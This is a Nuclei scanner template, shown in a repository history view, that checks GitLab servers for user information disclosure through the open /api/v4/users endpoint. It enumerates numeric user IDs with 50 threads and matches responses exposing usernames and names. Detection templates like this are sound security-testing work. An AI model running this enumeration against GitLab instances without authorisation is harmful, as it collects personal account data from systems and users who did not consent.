nuclei-templates/vulnerabilities/gitlab/gitlab-user-open-api.yaml

41 lines
821 B
YAML
Raw Normal View History

id: gitlab-user-open-api
info:
author: Suman_Kar
name: GitLab - User Information Disclosure Via Open API
2021-06-18 08:22:48 +00:00
severity: medium
2021-06-20 11:05:59 +00:00
tags: gitlab,disclosure
2021-06-18 08:22:48 +00:00
reference: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/40158
requests:
- raw:
- |
GET /api/v4/users/{{uid}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Referer: {{BaseURL}}
payloads:
uid: helpers/wordlists/numbers.txt
attack: sniper
threads: 50
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "username.*"
2021-06-18 08:20:34 +00:00
- "id.*"
- "name.*"
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200